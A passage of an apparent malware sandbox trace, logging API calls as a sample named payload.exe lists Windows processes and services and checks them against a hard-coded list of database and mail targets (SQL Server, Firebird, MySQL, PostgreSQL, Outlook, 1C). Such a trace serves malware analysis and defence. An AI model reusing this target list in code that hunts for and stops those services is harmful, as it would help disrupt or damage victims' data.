cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.731] lstrlenW (lpString="audiodg.exe") returned 11 [0089.731] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.731] lstrlenW (lpString="svchost.exe") returned 11 [0089.731] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.732] lstrlenW (lpString="svchost.exe") returned 11 [0089.732] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0089.732] lstrlenW (lpString="userinit.exe") returned 12 [0089.732] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.732] lstrlenW (lpString="dwm.exe") returned 7 [0089.732] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.732] lstrlenW (lpString="explorer.exe") returned 12 [0089.732] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.733] lstrlenW (lpString="spoolsv.exe") returned 11 [0089.733] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.733] lstrlenW (lpString="taskhost.exe") returned 12 [0089.733] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.733] lstrlenW (lpString="svchost.exe") returned 11 [0089.733] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0089.734] lstrlenW (lpString="payload.exe") returned 11 [0089.734] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0089.734] lstrlenW (lpString="reader_sl.exe") returned 13 [0089.734] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0089.734] lstrlenW (lpString="dllhost.exe") returned 11 [0089.734] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0089.734] CloseHandle (hObject=0x38c) returned 1 [0089.734] Sleep (dwMilliseconds=0x1f4) [0090.253] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0090.254] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0090.254] GetLastError () returned 0xea [0090.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc9a) returned 0x4089028 [0090.254] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xc9a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0090.255] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0090.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0090.255] lstrlenW (lpString="AudioSrv") returned 8 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0090.255] lstrlenW (lpString="BFE") returned 3 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0090.255] lstrlenW (lpString="CryptSvc") returned 8 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0090.255] lstrlenW (lpString="CscService") returned 10 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0090.255] lstrlenW (lpString="DcomLaunch") returned 10 [0090.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0090.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0090.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0090.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0090.256] lstrlenW (lpString="Dhcp") returned 4 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0090.256] lstrlenW (lpString="Dnscache") returned 8 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0090.256] lstrlenW (lpString="DPS") returned 3 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0090.256] lstrlenW (lpString="eventlog") returned 8 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0090.256] lstrlenW (lpString="EventSystem") returned 11 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0090.256] lstrlenW (lpString="gpsvc") returned 5 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0090.256] lstrlenW (lpString="LanmanWorkstation") returned 17 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0090.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0090.256] lstrlenW (lpString="lmhosts") returned 7 [0090.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0090.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0090.256] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0090.256] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0090.257] lstrlenW (lpString="MMCSS") returned 5 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0090.257] lstrlenW (lpString="MpsSvc") returned 6 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0090.257] lstrlenW (lpString="NlaSvc") returned 6 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0090.257] lstrlenW (lpString="nsi") returned 3 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0090.257] lstrlenW (lpString="PcaSvc") returned 6 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0090.257] lstrlenW (lpString="PlugPlay") returned 8 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0090.257] lstrlenW (lpString="Power") returned 5 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0090.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0090.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0090.257] lstrlenW (lpString="ProfSvc") returned 7 [0090.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0090.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0090.257] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0090.258] lstrlenW (lpString="RpcEptMapper") returned 12 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0090.258] lstrlenW (lpString="RpcSs") returned 5 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0090.258] lstrlenW (lpString="SamSs") returned 5 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0090.258] lstrlenW (lpString="Schedule") returned 8 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0090.258] lstrlenW (lpString="SENS") returned 4 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0090.258] lstrlenW (lpString="ShellHWDetection") returned 16 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0090.258] lstrlenW (lpString="Spooler") returned 7 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0090.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0090.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0090.258] lstrlenW (lpString="Themes") returned 6 [0090.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0090.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0090.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0090.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0090.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0090.259] lstrlenW (lpString="UxSms") returned 5 [0090.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0090.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0090.259] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0090.259] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0090.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0090.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0090.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0090.261] Process32FirstW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.261] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0090.261] lstrlenW (lpString="System") returned 6 [0090.261] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0090.261] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0090.261] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0090.261] lstrlenW (lpString="smss.exe") returned 8 [0090.261] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0090.262] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0090.262] lstrlenW (lpString="csrss.exe") returned 9 [0090.262] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0090.262] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0090.262] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0090.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0090.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0090.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0090.262] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0090.262] lstrlenW (lpString="wininit.exe") returned 11 [0090.262] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0090.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0090.262] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0090.263] lstrlenW (lpString="csrss.exe") returned 9 [0090.263] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0090.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0090.263] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0090.263] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0090.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0090.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0090.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0090.263] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0090.264] lstrlenW (lpString="winlogon.exe") returned 12 [0090.264] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0090.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0090.264] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, 